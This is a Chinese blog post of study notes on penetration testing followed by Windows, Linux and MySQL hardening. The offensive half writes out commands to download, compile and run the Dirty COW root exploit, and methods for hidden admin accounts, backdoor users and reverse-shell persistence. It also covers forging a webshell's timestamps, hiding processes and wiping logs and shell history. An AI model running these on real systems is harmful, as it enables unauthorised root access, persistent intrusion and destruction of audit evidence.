• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

渗透测试与主机加固

2020-09-25

1. 前言

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个 PoC,于是你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听器,这一天你所做的就是一个 Exp,你在他家所做的就是不同的 Payload,就把窃听器当作 Shellcode 吧!

  • 渗透中 PoC、Exp、Payload 与 Shellcode 的区别

2. 渗透测试框架

2.1. Metasploit

2.2. Empire

2.3. Cobalt Strike

3. 渗透测试

3.1. 使用已知漏洞提权

根据可已知内核漏洞下载对应的提权程序(该处使用脏牛内核提权)

1
2
3
4
5
6
7
8
cd /tmp/
wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/sundry/master/DirtyCow/dir ty.c
gcc ‐pthread dirty.c ‐o dirty ‐lcrypt
./dirty 123456
# 获得firefart用户,权限为root
su firefart
# 切换用户为firefart后,将passwd恢复,避免root用户无法使用
mv /tmp/passwd.bak /etc/passwd

3.2. 内网横向移动

将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动目录(Active Directory)的计算

用户一次登录就可访问整个网络资源,集中的身份验证

1
2
查询域管理用户:net group “domain admins” /domain
查看域密码策略:net accounts /domain
  • Mimikatz

3.3. 权限维持

3.3.1. windows

隐藏

  • 隐藏文件
  • 隐藏账号

    window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限

    • CMD命令行使用”net user”,看不到”test$”这个账号,但在控制面板和本地用户和组是可以显示此用户的
  • 端口复用
    • https://github.com/crabkun/Switcher
  • 进程注入
    • meterpreter会话注入

后门

  • 注册表自启动
  • 组策略设置脚本启动
  • 计划任务
  • dll劫持

    如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

    • win7及win7以上系统增加了KnownDLLs保护

3.3.2. linux

隐藏

  • 隐藏文件
    • touch .test.txt
  • 隐藏文件时间戳
    • touch -r index.php webshell.php
    • touch -t 1401021042.30 webshell.php
  • 隐藏权限

    在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的

  • 隐藏历史操作命令
    • 临时禁用历史功能:[space]set +o history
    • 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
  • 进程隐藏
    • https://github.com/gianlucaborello/libprocesshider

      top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序

    • unhide:查看隐藏进程

后门

  • 一句话添加用户和密码
    • useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
      • -1(数字):基于MD5的算法代号
  • ssh公私钥免密登录
  • crontab反弹shell
    • 创建shell脚本,例如在/etc/evil.sh
      • chmod +sx /etc/evil.sh
      • s符号代表设置权限suid和sgid,使用权限组合u+s设定文件的用户的ID位,g+s设置组用户ID位

ps:

文件中除了普通的读、写、执行权限外,还有一些特殊的权限,我们可以使用 chmod和chown命令来设置。 他们分别是SUID, SGID, Stricky Bit, ACL’s, SUDO and SELinux 等,管理员可以使用这些命令管理文件/文件

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。简而言之用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

meterpreter shell

  • 通过meterpreter shell获取持久性shell的方法有两种:
    • Persistence模块
    • Metsvc 模块

3.4. 痕迹清除

1
2
3
4
5
6
7
8
9
10
11
12
web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是对~/.bash_history进行定向清除

wtmp日志的清除,/var/log/wtmp

登录日志清除 /var/log/secure

history -c //清空历史执行命令
echo > ./.bash_history //或清空用户目录下的这个文件即可

4. 主机加固

业务安全

某个平台上的业务是指该平台用户在使用过程中涉及到的一系列流程,而业务安全就是保证这些流程按照预定的规则运行

4.1. 反爬虫

  • Headers的User-Agent
    • 有些爬虫的UA是特殊的,与正常浏览器的不一样,可通过识别特征UA,直接封掉爬虫请求
  • 设置IP访问频率,如果超过一定频率,弹出验证码
    • 如果输入正确的验证码,则放行,如果没有输入,则拉入禁止一段时间
  • 通过并发识别爬虫
    • 统计并发最高的IP,加入黑名单(或者直接封掉爬虫IP所在C段)
  • 蜜罐资源
    • ,适当在页面添加一些正常浏览器浏览访问不到的资源,一旦有ip访问,过滤下头部是不是搜素引擎的蜘蛛,不是就可以直接封了

4.2. windows主机加固

  • 本地用户和组
    • 禁用guest用户
  • 本地安全策略
  • 事件查看器->windows日志
    • 设置日志大小

4.3. Linux主机加固

  • 锁定系统中多余的自建帐号
    • passwd -l <user>
  • 设置系统口令策略
    • eg 设置口令过期时间
    • vim /etc/login.defs
  • 网络访问安全
    • 置访问控制策略限制能够使用ssh管理本机的IP地址
    • vim /etc/ssh/sshd_config
  • 日志
    • Vi /etc/login.defs
      • LASTLOG_ENAB yes
    • 系统安全日志
      • vim /etc/syslog.conf

4.4. mysql加固

  • 修改root用户口令,删除空口令
    • mysqladmin password <>
  • 禁止远程连接数据库

    在命令行netstat -ant下看到,默认的3306端口是打开的,此时打开了mysqld的网络监听,允许用户远程通过帐号密码连接数本地据库,默认情况是允许远程连接数据的。为了禁止该功能,启动skip-networking,不监听sql的任何TCP/IP的连接,切断远程访问的权利,保证安全性

    • vi /etc/my.cnf将#skip-networking注释去掉
  • 用户目录权限限制
    • Chown -R root /var/share/mysql
      • 递归处理,将指定目录下的所有文件及子目录一并处理
      • 用户:组:指定所有者和所属工作组。当省略“:组”,仅改变文件所有者
  • 命令历史记录保护

    登陆数据库后的操作将记录在.mysql_history文件中,如果使用update表信息来修改数据库用户密码的话,也会被读取密码,因此需要删除这两个文件,同时在进行登陆或备份数据库等与密码相关操作时,应该使用-p参数加入提示输入密码后,隐式输入密码,建议将以上文件置空

    • ln -s /dev/null .mysql_history //将mysql记录文件置空
  • 禁止MySQL对本地文件存取
    • 关闭load data local infile权限

      黑客还能通过使用LOAD DATALOCAL INFILE装载“/etc/passwd”进一个数据库表,然后能用SELECT显示它,这个操作对服务器的安全来说,是致命的

    • 以在my.cnf中添加local-infile=0
  • 使用chroot方式来控制MySQL的运行目录
    • 将其与主系统几乎完全隔离,也就是说,一旦遭到什么问题,也不会危及到正在运行的主系统
      1
      2
      [client]
      socket = /chroot/mysql/tmp/mysql.sock

      启动MySQL服务器时加上–chroot=path参数,让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和Select … INTO OUTFILE就限定在chroot_path下读写文件了。

      这里有一点要注意,MySQL启动后会建立一个mysql.sock文件,默认是在/tmp目录下。使用了chroot后,MySQL会在chroot_path/tmp去建立mysql.sock文件,如果没有chroot_path/tmp目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件,MySQL会启动失败。

      • 比如我们加了–chroot=/usr/local/mysql/启动参数,那么最好建立一个启动MySQL的用户能写的/usr/local/mysql/tmp目录,当然我们也可以用–socket=path来指定mysql.sock文件的路径,但这个path一定要在chroot_path里面

5. 摘抄与参考

  • Mysql安全加固_wz_cow的博客-CSDN博客
  • Security
  • Web Security
日志审计与痕迹清除
python socket编程笔记
  1. 1. 1. 前言
  2. 2. 2. 渗透测试框架
    1. 2.1. 2.1. Metasploit
    2. 2.2. 2.2. Empire
    3. 2.3. 2.3. Cobalt Strike
  3. 3. 3. 渗透测试
    1. 3.1. 3.1. 使用已知漏洞提权
    2. 3.2. 3.2. 内网横向移动
    3. 3.3. 3.3. 权限维持
      1. 3.3.1. 3.3.1. windows
      2. 3.3.2. 3.3.2. linux
    4. 3.4. 3.4. 痕迹清除
  4. 4. 4. 主机加固
    1. 4.1. 4.1. 反爬虫
    2. 4.2. 4.2. windows主机加固
    3. 4.3. 4.3. Linux主机加固
    4. 4.4. 4.4. mysql加固
  5. 5. 5. 摘抄与参考
© 2024 何决云 载入天数...